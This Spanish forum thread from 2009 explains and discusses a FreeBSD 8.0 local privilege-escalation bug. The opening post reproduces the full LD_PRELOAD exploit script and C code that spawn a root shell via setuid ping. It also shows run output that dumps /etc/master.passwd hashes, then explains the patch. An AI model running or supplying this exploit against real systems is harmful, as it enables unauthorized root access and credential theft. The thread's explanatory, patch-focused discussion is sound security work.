PenguinPower Indice del foro
Menu
PenguinPower Indice del foroHome
FAQFAQ
Lista de miembrosLista de miembros
Grupos de usuariosGrupos de usuarios
RegistrateRegistrate
PerfilPerfil
Conectate para ver tus mensajes privadosMessages
IngresarLogin/Out


Buscar

Busqueda Avanzada

Links
El Blog de Salitou
Devian Art de Geo
Pontiacgrrl
El Blog de Nachitous

Online
[ Administrador ]
[ Moderador ]


Google Search
Google

Wallpapers

1024x768
1280x1024


1024x768
1280x1024
1600x1200


1024x768
1280x1024


176x220


240x320


FreeBSD 8 - Exploit
Ir a pagina 1, 2  Proximo
 
Publicar nuevo tema   Contestar en tema    PenguinPower Indice del foro -> FreeBSD
Ver tema anterior :: Ver proximo tema  
Autor Message
ezeaguerre
[Moderador de Topico]
[Moderador de Topico]


Registrado: 07 May 2008
Publicaciones: 820
Ubicacion: Paso del Rey

PublicacionPublicado: Tue Dec 01, 2009 7:11 pm    Publicar Asunto: FreeBSD 8 - Exploit Citar y contestar

Hoy leí un mail que me llegó de bugtraq. No me maté en examinar porqué, pero, acá vi mi explicación:

Normalemente, cuando uno ejecuta un archivo setuid o setgid, no se nos permite establecer variables de entorno peligrosas, como LD_PRELOAD. Si pudiéramos hacerlo seríamos capaces de cargar cualquier librería y ejecutar nuestro código como root!!!
El linker de FreeBSD elimina estas variables cuando ejecuta un binario setuid/setgid. Pero una forma sencilla de saltearse la protección consiste en generar un entorno corrupto.
Aquí se muestra le ejecución del exploit:

Codigo:

uname -a;id;
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
uid=1001(kcope) gid=1001(users) groups=1001(users)
%./w00t.sh
FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in
function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in
function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in
function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# uname -a;id;
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)
# cat /etc/master.passwd
# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29
kensmith Exp $
#
root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User
&:/home/kcope:/bin/sh
#


¡Terrible!

Sistemas testeados:
Codigo:

FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NOT VULN
FreeBSD 4.9-RELEASE *** NOT VULN


El código del exploit es este (comentarios intercalados):

Codigo:

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio>
 
main() {
        extern char **environ;
        environ = (char**)malloc(8096);
 
        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
 
        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
Crea un programa en C que hace lo siguiente:

1. Modifica la variable de environ (que es la que almacena las variables de entorno) para que apunte a un nuevo espacio de memoria (no inicializado).
2. Hace que la primer variable de entorno apunte a más espacio no inicializado, y que la segunda variable de entorno sea LD_PRELOAD=/tmp/w00t.so.1.0.
2. Por último, ejecuta el comando ping (un comando tradicionalmente setuid).

En definitiva, ejecuta ping (setuid) con el entorno:
environ[0] = basura
environ[1] = LD_PRELOAD=....
environ[2] = basura
environ[3] = basura...

En el mejor de los casos, suponiendo que obtenga memoria inicializada en cero:

environ[0] = NULL
environ[1] = LD_PRELOAD=...
environ[2] = NULL

Codigo:

cat > program.c << _EOF
#include <unistd>
#include <stdio>
#include <sys>
#include <stdlib>
 
void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF


Crea una libreria que, con tan solo traerla al contexto de ejecución del programa ejecuta una shell, con ninguna variable de entorno (es decir, limpia el entorno corrupto del programa anterior).

Codigo:

gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env


Compila la librería y ejecuta env... esto da como resultado:

1. Corrompe el entorno
2. Ejecuta ping, si bien el entorno está corrupto, la segunda variable es LD_PRELOAD, la cual se interpreta adecuadamente y se trae la librería maligna al contexto de ping.
3. La librería malvada limpia el entorno Razz (que mala eh!)
4. Ejecuta una shell... con permisos de root!!!! porque ping era setuid, y por ende tiene permisos de root ese proceso!!!

Este es el parche provisorio del equipo de FreeBSD:

Codigo:

Index: rtld.c
===================================================================
--- rtld.c   (revision 199977)
+++ rtld.c   (working copy)
@@ -366,12 +366,12 @@
      * future processes to honor the potentially un-safe variables.
      */
     if (!trust) {
-        unsetenv(LD_ "PRELOAD");
-        unsetenv(LD_ "LIBMAP");
-        unsetenv(LD_ "LIBRARY_PATH");
-        unsetenv(LD_ "LIBMAP_DISABLE");
-        unsetenv(LD_ "DEBUG");
-        unsetenv(LD_ "ELF_HINTS_PATH");
+        if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+       unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+       unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+      _rtld_error("environment corrupt; aborting");
+      die();
+   }
     }
     ld_debug = getenv(LD_ "DEBUG");
     libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;


Lo único que hace es comprobar el estado de unsetenv, si termino mal entonces muere!, de lo contrario sigue la ejecución. Si bien no vi el código de la función unsetenv, estoy seguro por lo que veo que es lo suficientemente pelotud* de trabarse cuando encuentra basura y por ende nunca borrar el LD_PRELOAD...

Fíjense que explotó el bug utilizando a ping, porque ping es setuid! podriá haber sido cualquier otro programa setuid, pero que justo haya elegido ping me da paso a hablar sobre algo: ¡¡¡Privilegios innecesarios!!!
Ping es un programa que necesita permisos de root porque usa sockets RAW, y éstos sólo pueden ser utilizados por un proceso euid=0.
Una forma de evitar darle privilegios exesivos (todo lo que puede hacer root) a un programa es, justamente, dandole los privilegios que pida y nada más. El estándar POSIX plantea el uso de "capacidades", si ping en lugar de ser setuid dijera específicamente "a mi me alcanza con CAP_NET_RAW", este exploit en particular se podría haber evitado.

http://www.gentoo.org/proj/en/hardened/capabilities.xml
Volver Arriba
View user's profile Enviar mensaje privado Yahoo Messenger MSN Messenger
gnemmi
[FreeLSD]
[FreeLSD]


Registrado: 28 Mar 2008
Publicaciones: 1923
Ubicacion: Argentina - Cap. Fed.

PublicacionPublicado: Tue Dec 01, 2009 7:32 pm    Publicar Asunto: Citar y contestar

Es este mismo?

Tue, Dec 1, 2009 at 2:20 AM

Cita:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi all,

A short time ago a "local root" exploit was posted to the full-disclosure
mailing list; as the name suggests, this allows a local user to execute
arbitrary code as root.

Normally it is the policy of the FreeBSD Security Team to not publicly
discuss security issues until an advisory is ready, but in this case
since exploit code is already widely available I want to make a patch
available ASAP. Due to the short timeline, it is possible that this
patch will not be the final version which is provided when an advisory
is sent out; it is even possible (although highly doubtful) that this
patch does not fully fix the issue or introduces new issues -- in short,
use at your own risk (even more than usual).

The patch is at
http://people.freebsd.org/~cperciva/rtld.patch
and has SHA256 hash
ffcba0c20335dd83e9ac0d0e920faf5b4aedf366ee5a41f548b95027e3b770c1

I expect a full security advisory concerning this issue will go out on
Wednesday December 2nd.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (FreeBSD)

iEYEARECAAYFAksUbjcACgkQFdaIBMps37LP9ACgljaYCfgVuhD2gd9Natpq4H/9
i48An1mgl+Mih+AWN7J9KZ1rsiEU31IZ
=MPXj
-----END PGP SIGNATURE-----

--
Colin Percival
Security Officer, FreeBSD | freebsd.org | The power to serve
Founder / author, Tarsnap | tarsnap.com | Online backups for the truly paranoid


PD: Despúes de seguir el desarrollo de FreeBSD 8.0 ( -CURRENT ) por casi un año .. postie en el mismo thread en el que postie que se había lanzado la versión 8.0-RELEASE que FreeBSD era un conjunto de parches y hacks sin dirección u objetivo alguno ... Estas son las consecuencias ..

Saludos!
Volver Arriba
View user's profile Enviar mensaje privado MSN Messenger
ezeaguerre
[Moderador de Topico]
[Moderador de Topico]


Registrado: 07 May 2008
Publicaciones: 820
Ubicacion: Paso del Rey

PublicacionPublicado: Tue Dec 01, 2009 9:10 pm    Publicar Asunto: Citar y contestar

1. Si, es el mismo.
2. No creo que puedas atribuir un error tan pelotud* (como no chequear el valor de devolución de una función) a la falta de dirección del proyecto... Razz
Volver Arriba
View user's profile Enviar mensaje privado Yahoo Messenger MSN Messenger
gnemmi
[FreeLSD]
[FreeLSD]


Registrado: 28 Mar 2008
Publicaciones: 1923
Ubicacion: Argentina - Cap. Fed.

PublicacionPublicado: Tue Dec 01, 2009 9:18 pm    Publicar Asunto: Citar y contestar

No, pero no me refiero a ese bug en particular sino a miles de cosas ..
Todo anda por la mitad ... todo se siente "half baked" ..
Desde /etc/src.conf hasta ACPI, pasando por la documentación y la falta de control sobre el SO como unidad operativa ..
Se va a evidenciar de a poco .. pero es nomas leer las listas cotidianamente para ver que FreeBSD es un montón de hacks y parches apilados .. por mas feo que suene ..
No hay cohesión ni uniformidad en el SO ...
Lo tenés que usar para darte cuenta .. cotidianamente .. y probar cosas para encontrar problema tras problema .. y en lugar de resolverse, se suman mas "half baked" features .. y se apilan los bugs .. y la Fundación sigue financiando proyectos que nunca se finalizan ...

Como dije en el otro post .. en lo que a mi respecta, es hora de buscar otro BSD ...

PD: depende del valor de _que_ función el error es o no es tan pelotud* ..

PD2: mira las respuestas ...

http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/136946

Lo que quiere decir "Ah si .. me acuerdo que le pegue una mirada al ACPI y el stack firewire y son un asco .. pero bueno .. es un bardo y no hay tiempo .. que se le va a hacer ..."

http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/136876

Sigue en exactamente el mismo estado ...
Volver Arriba
View user's profile Enviar mensaje privado MSN Messenger
ezeaguerre
[Moderador de Topico]
[Moderador de Topico]


Registrado: 07 May 2008
Publicaciones: 820
Ubicacion: Paso del Rey

PublicacionPublicado: Wed Dec 02, 2009 3:09 pm    Publicar Asunto: Citar y contestar

Algo me olía mal de todo esto... así que le pegué una mirada a unsetenv... y resulta que no solo parchearon el linker, sino también unsetenv Razz Lo que pasa que como era un parche que deshacía un parche anterior que había sido aplicado después del RELEASE, en el mail no apareció... el parche del mail sirve para los que estaban en RELEASE....
No sé que pasará con stable, y los que están en current necesitan ambos parches... pero es probable que los que están en current compilen kernel & world mucho más seguido, así que csup y listo Razz

http://svn.freebsd.org/viewvc/base/head/lib/libc/stdlib/getenv.c
Volver Arriba
View user's profile Enviar mensaje privado Yahoo Messenger MSN Messenger
gnemmi
[FreeLSD]
[FreeLSD]


Registrado: 28 Mar 2008
Publicaciones: 1923
Ubicacion: Argentina - Cap. Fed.

PublicacionPublicado: Wed Dec 02, 2009 4:57 pm    Publicar Asunto: Citar y contestar

Si .. por eso el parche no es oficial .. es "Ojo que esta estó .. aca hay un parche que puede llegar a causar mas problemas aun pero esta hecho para solucionar el primero ... en cuanto hay un parche oficial, se va a mandar el aviso a la lista de seguridad" .. cosa que tendría qye haber pasado hoy teoricamente, pero todavía no paso.

Saludos!
Volver Arriba
View user's profile Enviar mensaje privado MSN Messenger
Matutin
[Heavy Penguin]
[Heavy Penguin]


Registrado: 21 Feb 2007
Publicaciones: 1124
Ubicacion: San Justo

PublicacionPublicado: Thu Dec 03, 2009 9:46 am    Publicar Asunto: Citar y contestar

Ultimamente la gente anda borracha, o nose.... La de aberraciones de este estilo que estoy leyendo en el laburo.... Mi dios....


El mas comun: errores de autentificacion en bind, o en cups, o en ssl!!!


Crying or Very sad
_________________

GRACIAS GEO POR LA FIRMA!!!

Volver Arriba
View user's profile Enviar mensaje privado Send e-mail MSN Messenger
Matutin
[Heavy Penguin]
[Heavy Penguin]


Registrado: 21 Feb 2007
Publicaciones: 1124
Ubicacion: San Justo

PublicacionPublicado: Thu Dec 03, 2009 9:49 am    Publicar Asunto: Citar y contestar

Bue, sin contar las aberraciones que van a salir este martes por el lado de microchot.... Y si, martes 8 de diciembre y tengo que laburar.... bandhead
_________________

GRACIAS GEO POR LA FIRMA!!!

Volver Arriba
View user's profile Enviar mensaje privado Send e-mail MSN Messenger
ezeaguerre
[Moderador de Topico]
[Moderador de Topico]


Registrado: 07 May 2008
Publicaciones: 820
Ubicacion: Paso del Rey

PublicacionPublicado: Thu Dec 03, 2009 9:50 am    Publicar Asunto: Citar y contestar

Jajaja... cuidado con SSL, que hay un bug de seguridad en el protocolo, no en la librería... en el mismo protocolo... o dicho de otra forma: ¡CUIDADO! ¡SSL NO ES SEGURO!

Los de OpenSSL hicieron un parche para que el servidor no acepte renegociar la sesión (lo cual evita el ataque Man-In-The-Middle), pero es algo que sólo puede hacer el servidor, el cliente no puede evitar eso... por lo que si usás la última versión de OpenSSL y el servidor de tu banco no... alpiste perdiste... yo no confiaría del protocolo SSL/TLS hasta que saquen una nueva versión... o que todos los servidores usen la versión parcheada de OpenSSL Razz

CUPS: Es vergonzoso... un sistema de impresión que tenga problemas en la autenticación ja... me descostillo de la risa LaughingD

BIND: Es vergonzoso... el protocolo DNS de por si es vergonzoso... y BIND no se queda atrás... Razz

P.D: Como te cagaron... laburando el martes Razz
Volver Arriba
View user's profile Enviar mensaje privado Yahoo Messenger MSN Messenger
gnemmi
[FreeLSD]
[FreeLSD]


Registrado: 28 Mar 2008
Publicaciones: 1923
Ubicacion: Argentina - Cap. Fed.

PublicacionPublicado: Thu Dec 03, 2009 10:28 am    Publicar Asunto: Citar y contestar

Hoy se anunció la disponibilidad de 3 parches para FreeBSD:

FreeBSD Security Advisory FreeBSD-SA-09:15.ssl

FreeBSD Security Advisory FreeBSD-SA-09:16.rtld

y FreeBSD Security Advisory FreeBSD-SA-09:17.freebsd-update

PD: Bind no solo es vergonzoso .. sino que encima es parte de base en FreeBSD .. Al respecto, ya leiste mis quejas (sobre Sendmail mas que nada .. pero Bind también caia en la volteada ) y la discución que se armó en torno al tema en las listas de FreeBSD .. pero bueno, como los core estan a favor de mantener Sendmail y Bind en base, la mayoría cierra el pico y los pocos que nos quejamos quedamos como trolls .. mientras el resto de los BSD se saca de encima Sendmail y Bind ... que se le va a hacer .. como ya dije antes ... habrá que buscar otro BSD.

Saludos !
Volver Arriba
View user's profile Enviar mensaje privado MSN Messenger
ezeaguerre
[Moderador de Topico]
[Moderador de Topico]


Registrado: 07 May 2008
Publicaciones: 820
Ubicacion: Paso del Rey

PublicacionPublicado: Thu Dec 03, 2009 10:40 am    Publicar Asunto: Citar y contestar

Es gracioso leer el problema:

FreeBSD dijo:
When running setuid programs rtld will normally remove potentially
dangerous environment variables. Due to recent changes in FreeBSD
environment variable handling code, a corrupt environment may
result in attempts to unset environment variables failing.


Jajaja...
Y que mal... recién ahora parchean OpenSSL?? d'oh!
Volver Arriba
View user's profile Enviar mensaje privado Yahoo Messenger MSN Messenger
gnemmi
[FreeLSD]
[FreeLSD]


Registrado: 28 Mar 2008
Publicaciones: 1923
Ubicacion: Argentina - Cap. Fed.

PublicacionPublicado: Thu Dec 03, 2009 11:43 am    Publicar Asunto: Citar y contestar

Es un triste el problema, si ..
Y con respecto a SSL .. lo malo no es que recién ahora larguen el parche, lo malo es lo que se va a tardar en que se aplique a todas las máquinas vulnerables ..

Que bueno es no tener cuentas en los bancos .. Very Happy
Volver Arriba
View user's profile Enviar mensaje privado MSN Messenger
Matutin
[Heavy Penguin]
[Heavy Penguin]


Registrado: 21 Feb 2007
Publicaciones: 1124
Ubicacion: San Justo

PublicacionPublicado: Thu Dec 03, 2009 12:13 pm    Publicar Asunto: Citar y contestar

Si, es una verguenza ese tipo de horrores... Y si yo listara la cantidad de advisories que recibi de SSL, cups, bind, etc, estariamos un rato... Pero no solo es FreeBSD... Linux pagos como Red Hat y SuSE tienen BANDA de releases de este tipo....

Y sun no se queda atras.... Vengo paquetizando desde hace meses, un problema en el XSunScreenServer o algo asi.... Un error bastante bolud*, pero que ni mas ni menos podria exponer informacion privada en una maquina lockeada a traves de un pop up.... Y la gente de sun va por el fix nro 30!!!!!!!!!!!!!!!!
_________________

GRACIAS GEO POR LA FIRMA!!!

Volver Arriba
View user's profile Enviar mensaje privado Send e-mail MSN Messenger
Matutin
[Heavy Penguin]
[Heavy Penguin]


Registrado: 21 Feb 2007
Publicaciones: 1124
Ubicacion: San Justo

PublicacionPublicado: Thu Dec 03, 2009 12:13 pm    Publicar Asunto: Citar y contestar

Y lo del martes es un garron.... pero al menos saco algo de provecho: horas extras y un dia que no laburo Razz
_________________

GRACIAS GEO POR LA FIRMA!!!

Volver Arriba
View user's profile Enviar mensaje privado Send e-mail MSN Messenger
gnemmi
[FreeLSD]
[FreeLSD]


Registrado: 28 Mar 2008
Publicaciones: 1923
Ubicacion: Argentina - Cap. Fed.

PublicacionPublicado: Thu Dec 03, 2009 6:00 pm    Publicar Asunto: Citar y contestar

FreeBSD Security Advisory FreeBSD-SA-09:15.ssl [REVISED] Confused
Volver Arriba
View user's profile Enviar mensaje privado MSN Messenger

Registrate para eliminar esta publicidad.
Mostrar publicaciones desde la anterior:   
Publicar nuevo tema   Contestar en tema    PenguinPower Indice del foro -> FreeBSD Todos los horarios estan en GMT - 3 Horas
Ir a pagina 1, 2  Proximo
Page 1 of 2

 
Ir hacia:  
Vos no podes crear temas nuevos en este foro
Vos no podes contestar temas en este foro
Vos no podes editar temas en este foro
Vos no podes borrar tus temas en este foro
Vos no podes votar en las votaciones de este foro


Powered by Augusto S. Amaya | Logos by AJ.M(Geo) | Re-Coded by MaRsOn | 2007-2008